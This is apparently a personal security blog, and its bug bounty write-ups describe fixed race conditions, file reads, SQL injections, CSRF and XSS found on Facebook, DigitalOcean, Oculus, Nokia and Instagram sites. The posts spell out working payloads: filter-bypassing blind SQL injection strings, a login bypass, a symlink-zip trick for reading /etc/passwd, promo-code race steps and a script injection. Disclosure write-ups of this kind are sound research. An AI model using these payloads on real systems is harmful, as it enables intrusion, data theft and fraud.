Monday, 27 April 2015

Race conditions on Facebook, DigitalOcean and others (fixed)

Hello,

Lately I have been looking into race condition bugs affecting websites/web-applications. Here is a good resource to learn about them - includes theory, vulnerable code, proof of concept code and ways to fix. I highly recommend you read it:
https://defuse.ca/race-conditions-in-web-applications.htm

Below are couple of my reports ranging from benign to pretty high severity.

Facebook bug 1: inflating page reviews using a single account.

Some Facebook pages have a review system, where you can rate the page 1-5 stars and add textual description. Each user is allowed to rate only once, and you can edit or delete your review later. Using race conditions you could rate a page multiple times, then delete one of your reviews, and then rate again. This allowed me to inflate or deflate ratings of any page. Here is my report to Facebook, slightly edited:
  1. Using your account go to Page URL and add a review with 5 stars, but intercept the /ajax/pages/review/add request
  2. Send out as many /ajax/pages/review/add requests as you can in shortest possible time frame. 
  3. The reviews will jump to some number > 1 (depending on luck and how much requests you sent), lets say it is 5 reviews. 
  4. Go to Page once again, and go to All reviews.
  5. Delete the one review by you (only one rating will be deleted). Now page has 4 reviews
  6. Create a new review with same user, and repeat steps 1-6.
  7. You now have a really well-rated Page. 

Report timeline:
April 14, 2014 - Bug reported to Facebook
April 15, 2014 - Confirmation from Facebook's security team
April 27, 2014 - Pinged Facebook team thinking this was fixed, but it was not :-)
June 15, 2014 - Bug is now fixed
June 25, 2014 - Bounty of $3000 awarded

I believe this was one of first race condition bugs reported to Facebook, as I found no other write-ups online, and this is what Facebook's team told me:
"Out of curiosity, has anyone reported any similar bugs to this one - some kind of race condition? " - not recently. In the past they may have, but I cannot tell for sure.

Facebook bug 2: creating multiple usernames for a single account

The principle behind this bug is same as previous one; send as many requests to an endpoint with a list of wanted usernames. Some will go through, others will not.
Here is my test account with two usernames:
https://graph.facebook.com/rpert.grint.6
https://graph.facebook.com/rpert.grint.7

This bug was fixed, but a bounty was not awarded. Here is the original reply from Facebook:
The issue you describe is not a security issue. Reporting this issue is not eligible for a bug-bounty. However, we have made changes to the codebase and the issue should no longer be present. 
Report timeline:
April 14, 2014 - Bug reported to Facebook
October 16, 2014 - Confirmation of fix

There are some more minor bugs that I have found, but none of them have a real security impact, so I did not report them.

I have one more race condition bug reported to Facebook, but Facebook team had trouble reproducing it. I will edit the write-up when/if it gets fixed. 

DigitalOcean bug: making money out of thin air

This was a fun one. Basically, I reused one promo code multiple times using race conditions.
Here is the report:
  1. Create an account and find a working promo code
  2. Go to your billing management page
  3. Paste your promo code into input field
  4. A POST request to https://cloud.digitalocean.com/promos will be made. 
  5. Send this POST request many times in short time frame - best to multithread it. 
  6. Money will be added multiple times to your account.
Report timeline:
January 11, 2015 - DigitalOcean security contacted with a report
January 13, 2015 - Confirmation from DigitalOcean team
January 21, 2015 - Bug is fixed.

At the time of report I did not have a $100 promo code from GitHub's education pack, but I believe it would get redeemed multiple times, too. 

I did not get a separate bounty for this report, but DigitalOcean team let me keep my test accounts with ~550$ total. Here is a screenshot from one of accounts where codes have been redeemed multiple times. Unfortunately, I lost email for this account... 


Similar promo code race conditions were reported to many other companies, with LastPass team being fastest to fix the issue - it only took them 3 days. They have also let me keep the premium time on my account, and confirmed no-one abused the bug prior to my report. 

I'd like to thank Facebook, DigitalOcean and LastPass security teams for being responsive to my reports, and rewarding me for them! 

Giant thanks to Team Tasteless, too. Check out their web hacking challenges, you might learn a lot there. I sure did :-)

Join the discussion on /r/netsec or HackerNews!

Saturday, 6 December 2014

Reading local files from Facebook's server (fixed)

Hello,

Recently I found a vulnerability in Facebook which allowed me to read local files from Facebook's servers. The vulnerable part of Facebook was their Careers resume uploader, located at every job offer, for example this one.

You can upload any extension there, so I decided to upload a .php file :-) - one can always hope. Of course, it was not executed nor could I get file path, but contents of the file were returned, after being base64 encoded. Next thing I tried was to name my file /etc/passwd, "file:///etc/passwd" and couple others. None of these worked.

Couple tries later I uploaded a zipped .php file, and the response contained unzipped, base64'd contents of .php. If you read Facebook's "Bounty hunter's guide" you will know where this leads.
The guide describes how one researcher uploaded zip with symlink to /etc/passwd, and couple steps later Facebook returned few lines of /etc/passwd.

I have done exactly the same, so:
1. create a symlink to /etc/passwd (or any other file you want to read)
ln -s /etc/passwd link
2. zip the created link while preserving symlinks:
zip --symlinks test.zip link
3. upload test.zip as your resume, system will unzip it
4. the response to POST will have details of (whole) /etc/passwd or other file. 

Here is a screenshot of response containing /etc/passwd:

I have speculated about symlinking a directory, but never tried it. Neal from Facebook thought that this might get me contents of files from the directory, but not necessarily filenames. We shall never know. 

Here is a timeline of the bug report:
Nov 30, 2014  09:45 - vulnerability reported
Nov 30, 2014  17:58 - reply from Facebook's security (Neal) saying they cannot reproduce bug
Nov 30, 2014  18:08 - update from Neal, they can reproduce it
Nov 30, 2014  19:10 - temporary fix has been pushed, disabling resume uploads
Dec 01, 2014 ~23:00 - more permanent fix pushed, now server no longer responds with contents of uploaded resume (Emrakul)
Dec 05, 2014  18:15 - bounty of $5500 awarded (Neal).
Dec 05, 2014 ~19:00 - objection about reward sent to Facebook's team
Dec 06, 2014 ~23:30 - Neal from Facebook explains this is actually a third party system they run

I'd like to ramble a bit about the award for this bug. When I found it, it looked like a critical bug that could allow me to read parts of Facebook's source. It turned out to actually be a third party software they used to analyse uploaded resumes, therefore I could not actually access any part of Facebook's internals. The network this system is hosted on was pretty locked down, too.

Basically, this is a bug that looks really critical, but is much lower severity. It is an exact opposite to a low severity bug I found some time ago that turned out to be more dangerous.

Lessons learned:

  • Read all write-ups you can get your hands on. I would never think of uploading the zip with symlinks if I did not read Facebook's blog. Philippe has a good list of Facebook bugs here. 
  • Some bugs are not what they look like :-)
Huge thanks to researcher who first used ZIP with symlinks, and to Facebook for blogging about it, and their security team for being awesome as always, fixing the bug in 10 hours on Sunday.

Friday, 5 September 2014

Step-by-step: exploiting SQL injection(s) in Oculus' website.

Hello,

Some time ago Jon of Bitquark tweeted that he found a SQL injection and RCE in one of Facebook's acquisitions.
You can find Jon's blog about the RCE vulnerability here.

I guessed it was Oculus' website and started looking for more SQL injections and other vulnerabilities, resulting in a total of 5 SQL injections and a couple smaller vulnerabilities.
Of those 5 injections, two were duplicate.

I am not going to write about all 5 of them, but the one I have exploited to gain administrator user:
SQL injection in developer.oculusvr.com/core/CompanyAction.php
A POST parameter "Domain" was vulnerable to SQL injection, but there were few problems that made exploitation harder.

Problem one: Syntax error was needed to differentiate true from false. 
The usual
'and'a'='a
did not work and I needed to get syntax error for false.
Lets build the basic true/false check:

Domain='and (select 1 union select case when (1)=1 then 1 else 2 end) and '@test.com

So, when 1=1 then the subquery looks like (select 1 union select 1) which is a valid query.
Now, for 2=1 the subquery would be (select 1 union select 2) and it is an error, because subquery returns more than one row.
We have the basic idea for true/false responses now.

Problem two: No whitespaces.
Oculus' domain filter required domain not to have whitespaces. Lets change the query to bypass this. I have decided to go with
combination of comments /**/ and parenthesis. So:

Domain='and(select(1)union(select(case/**/when(1)=1/**/then/**/1/**/else/**/2/**/end)))and'@test.com

Great, this works too!

Problem three: No commas. 
This one is a bit tricky. For blind injection we generally need LIMIT, substr() and other functions that need a comma. Well, they actually do not. After going through MySQL docs I saw comma-less syntax is possible for both LIMIT and substr():

LIMIT 0,1 is same as LIMIT 1 OFFSET 0
substr('Hello',1,1) can be used as
substr('Hello' from 1 for 1). 
Here is the query to get database column name - character by character:

'and(select(1)union(select(case/**/when((select/**/ascii(substr(column_name/**/from/**/1/**/for/**/1))/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'xxxxxxxxxxxxxxx'/**/limit/**/1/**/offset/**/0))=97/**/then(1)else(2)end)))and'@test.com

I have guessed the table name, and parts of column names for sessions table using LIKE and a bit of luck.

Problem four: it is blind injection, therefore slow. 
I did not use sqlmap for this, but I did help myself with Burp's Intruder. Since the goal was admin's PHPSESSID and it is [0-9][a-z], I simply set Intruder to bruteforce using that character set until it finds a true response, and then manually took out the characters and assembled a PHPSESSID. It was still slow, but okay - around 10 minutes on average to get the whole 26 characters long string. It would be faster but I actually needed to do another request to see if response is true/false - you'd first get 302 redirected, then see the response. Because of this I had to use one thread only and a small delay between requests, around 0.3 seconds.

Using the PHPSESSID I logged in to admin panel. Jon's way to get command execution still worked, the panel was also vulnerable to more SQL injections. I have started reporting all those, but was asked to log out - which I did. I have also tried to get RCE using file-uploads, but as far as I know it did not work.

That is all folks, thanks for reading :-).

I would like to thank Jon of Bitquark for sharing knowledge, Oculus for not using prepared statements, and Facebook for running the bounty program.
The vulnerabilities were fixed in a few days.

Oh yeah, most of this stuff I learned with/from a CTF team - you can find their blog here and their security challenges here

Thursday, 21 November 2013

Facebook bug bounty: secondary damage (one report that leads to more bugs), fairness, and why I really like reporting to Facebook

Hello,

Usually, the process for bug bounty is as follows:

  1. Person finds a bug, reports it to company
  2. Company fixes the bug
  3. $$ sent to the reporter.
An example is a critical bug I reported to Facebook some time ago.

But few days ago, I read a blog by Facebook security: one paragraph states that "Bugs that lead us to more bugs get bigger payouts. In these cases, the initial bug is much more valuable because the subsequent investigation and fixing of the original bug leads us to additional issues that we can fix."

Frankly, I did not believe this;  why would Facebook (or any other company) increase the reward for bugs they found in their internal investigation? The person who reported the original bug would never know that thanks to their report, Facebook fixed bugs the reporter did not find.

It turns out, I was very, very wrong - Facebook does pay for secondary bugs, and are extremely fair about it. 

My original report:


Subject: Report a Security Vulnerability - Low-risk CSRF that adds verified students to school groups
Title: Low-risk CSRF that adds verified students to school groups
Product / URL: Groups for Schools https://www.facebook.com/groups/
Description and Impact: Hello,

This vulnerability allows attacker to make victim a member of groups for schools.
It is very specific and low-risk because victim must:
1. have school/university email VERIFIED
2. not already be part of group

In order for this to work, this must also be victim's FIRST time to join group.

Attacker must know that victim has email verified in one of school/uni domains.

Reproduction Instructions / Proof of Concept:

1. a victim must have verified school address
2. victim must make GET request to
https://www.facebook.com/groups/{{schoolGroupName}}/_join_/
for example, in my test case:
victim with jxfXXXX@***.edu verified visits site with <img src="https://www.facebook.com/groups/GroupsAt***/_join_/">
and becomes member of the group.

Basically, I hoped for the minimum reward because the bug I reported was, as you can see, really crappy one: very specific and has really limited functionality.
Few days later, Facebook Security team replied that they are looking into the issue and will reply when it is fixed. Then came the

Facebook's second reply: 

Hi Josip,
 OK, just talked with the team. This particular issue is actually a wontfix for them: the goal when you have a school/university email is for you to be associated with your school/university community. However, it did lead us to a related issue which would have allowed for CSRF to add people to arbitrary groups, so we'll be paying you a bounty for that. Nice work. :-)

Wait, what? Of course, I wanted to know what bug did I miss. I checked if _join_ CSRF works for usual groups, and it did not. So where was the bug?

Here is explanation from the sec team:
I don't think it's something you would have found; when we were investigating your report we found references in the code to a _join_if_can_ flag which worked the same way you described but on more general types of groups (not arbitrary groups though: I misspoke earlier). It looks like the flag wasn't being used and it was simple enough to remove. :-) 


WAIT, WHAT???!!111??!
I got a (pretty huge) reward for a bug that was IMPOSSIBLE to find to outside people, because it is pretty much impossible to guess the "_join_if_can_" flag - it was not in production. So, a reward on a basis of really, really low-impact report.

Through this blog I would like to say a GIANT THANKS to the Facebook security team, not only for running their program, but also for being extremely sincere and fair towards us, the bug bounty hunters. 

Edit: timeline of the report:

  1. 18. of October, 2013 - bug reported
  2. 18. of October, 2013 - reply from Facebook team (not bot, but team)
  3. 26. of October, 2013 - Facebook is working on a fix, should be live soon
  4. 20. of November, 2013 - Facebook team replies that their investigation led to another bug and they decided to award me for it
  5. 20. of November, 2013 - Chat with the team, bounty rewarded
  6. 21. of November, 2013 - This blog published
I am not really sure when exactly they fixed the vulnerability, or found the new flag/bug (never checked as it was low-priority). I can only assume it was between 26th and middle of November.


--Josip Franjković
Pyxio





Tuesday, 30 July 2013

SQL injections in Nokia sites.

Hello,

I have found out about Nokia security reward program somewhere mid-April. Reports of people getting one or more mobile phones made me interested and I started searching for bugs.
As usual XSS/CSRF did not bring people real reward (only Hall of Fame), I started looking for SQL injections (and SQL injections only).

In one week I have found total of 4 SQL injections in their sites, but will write about three of them as fourth one is fairly similar to one of these three.

So:

SQL injection in www4.nokia.de

Found this site using Google. The actual vulnerable link was:
http://www4.nokia.de/storelocator/

Vulnerable variable is the User-Agent header, there was no response on page except for blank or load, so it was blind SQL injection.

The query behind was INSERT INTO, MySQL was the database.
So, how do you exploit something like
INSERT INTO table(a,b,c)VALUES(1,2,'$user_agent')
if there is no error reporting, and you cannot see output from the database?

After trying to make valid PoC for 10 minutes, I did not know what to do. So, I asked one of my old friends, Bryan de Houwer. Few minutes later, he said "Hey, did you try inserting into multiple rows?"... I forgot that, for some reason.

You could do something like 
INSERT INTO table(a,b,c)VALUES(1,2,3),(4,5,6);
Great!
After some brute-forcing, I found out the INSERT query had 5 columns.

Setting my User-Agent to 
',1,1),(1,2,3,4,5)-- -

The site loaded, meaning the query worked.  


Now, you cannot use usual AND 3=23 in INSERT queries, as
 INSERT INTO a(b)VALUES(1 and 3=23);
is a valid query, and it will go through - meaning I cannot get any data. 

I needed some way to trigger error for true/false.


Now what?
One of my favorite blind SQL injection tricks is to make the database return multiple rows in a subquery.

For example, 
SELECT a,(select b from table) from table; 

will return "Subquery returns more than 1 row" - if there is more than one row, of course. 


Now, I used the UNION keyword to do the trick for me:

SELECT 1 UNION SELECT 2;
->  "Subquery returns more than 1 row";


with a CASE statement, my final injection looked like:


User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=5) then 1 else 2 end))-- -
The page loads. 


User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=4) then 1 else 2 end))-- -

Blank. See the change in version. 

Time-line:
22. April 2013 - Vulnerability reported.
22. April 2013 - Response from Nokia Team
23. April 2013 - Vulnerability fixed (That was pretty fast!)



 SQL injection in ***********

URL is hidden for now, as there is still one unpatched vulnerability. As soon as it gets patched, I am publishing it.
Found this site using **********
This is a PHP site from <2005. I think this told you enough.

Login using
User: ' or 'x'='x
Pass: 'or 'x'='x

From there, pretty much every SINGLE... well, everything was vulnerable to SQL injection.
The DB was PostgreSQL.
Error reporting was on.
Multiple queries, DROP/CREATE privileges, much like connecting to your database and sending your own queries.

Time-line:
23. April 2013 - Reported
23. April 2013 - Reply from Nokia Team
25. April 2013 - Fixed (took them some time to find login details).

Gotta love old, forgotten sites.

Nokia.es subdomain SQL injection

Got no idea how I found this one.
The injection is blind, time based.
PICTURES!




True: 



False:






Conclusion:

Fourth SQL injection is almost the same as first.

Nokia fixed those bugs really fast.

I was awarded a single Nokia Lumia 820 (yellow color, looks great and is an amazing phone) and the Top Reporter status for April.

Although those vulnerabilities were found in short time frame, and I was not really working my ass off, I have expected at least a Lumia 920 or another Lumia 820 - I know of people who got multiple phones for XSS/CSRF in similar domains.

I would like to thank the Nokia Incident Response Team for their quick fixes, and  Bryan de Houwer for reminding me of multiple inserts in SQL. 

Tuesday, 23 July 2013

How I found my way into Instagram's Ganglia, and a bug with Facebook likes.

Hello,

I have recently taken part in Facebook Whitehat reward program, and here are some of my findings:

Access to Instagram's Ganglia:


The original report of this one is too short, so I will post how I got there.
I have read this old post from Facebook Bug Bounty official page:
Great! I'll just run some nmap scans and find something...
2 hours later....
Nothing.

After some sub-domain bruteforcing, I have found there is a Ganglia here: ganglia.instagram.com
Unfortunately, it is protected by basic HTTP auth.
At this point, I did not know what to do, and then it came to me: let me search the all-mighty Shodan for "Instagram.com".
On the second page:
Visit the IP address, and you get Instagram's Ganglia. 
There was also a reflected XSS on http://23.21.36.116/autorotation.php?view_name=<script>alert(2)</script>

This was reported on 22.4.2013, fixed "5 minutes later" according to Facebook security team, but I believe it was fixed between 23-28 April (I did not really check it).
Please, DO NOT test the IP; it is not Facebook's IP anymore. 


Facebook likes bug:


This bug is connected with Facebook likes and how Facebook managed them.
Visibility of likes is connected to visibility of objects (so, if objects is "Friends Only", likes are "Friends only" et cetera), and I have found a way to bypass that - that is, to get likes of the object.

So, whenever your friends like some object, you can check who liked it on following URL:

https://www.facebook.com/browse/likes?id=[[ID of object]].

Example for my profile picture:
Facebook did not check who was making this request, so anyone could view likes of an object. After my first report, Facebook team replied, saying "this is unexpected case, but they will look into it".
This was somewhere at end of December 2012.

Great! I should wait for the fix and payment.

Somewhere in June came the reply saying Facebook's security engineer would dig into this more. 

So I replied with better PoC, maybe they take it. 

Hi,

While likes may be public, this is really the easiest way to get list of at
least some friends of a certain profile.
For example, [[some profile]] has a totally closed profile.
[[Some profile]] does not allow public to see list of friends; you can check that here:
https://www.facebook.com/[[some profile]]/friends
Now, I go to [[some profile]]'s profile and get list of people who liked that
profile picture:
https://www.facebook.com/browse/likes?id=[[hidden]]
There is currently xx likes there, and they are friends.
Is there any way to get list of at least some friends, despite [[Some profile]]'s profile being pretty locked? I am pretty sure no APIs allow that without authorization.

The bug was fixed on 11.7.2013.

Engineers from Facebook told me it took that long to fix it because it was not a trivial change to make. I cannot believe how complicated some parts of Facebook are. 

I included this bug to show how even if bug is an "edge case" or "not an issue" first time, you can always try answering with a better PoC.

Also, I wanted to show what Facebook takes for "bugs" under privacy - so if you though some "design flaw" you found some time ago is not worth any reward, try reporting it. You might get surprised :)

Payments for these two bugs were quite much more than I expected. 

I have found more bugs, mostly in Facebook acquisitions or other Facebook websites. I will post few more bugs later during summer. 

Giant thanks to Facebook Security team for their efforts and generous rewards!
Also, thanks to Shodan for being a great tool!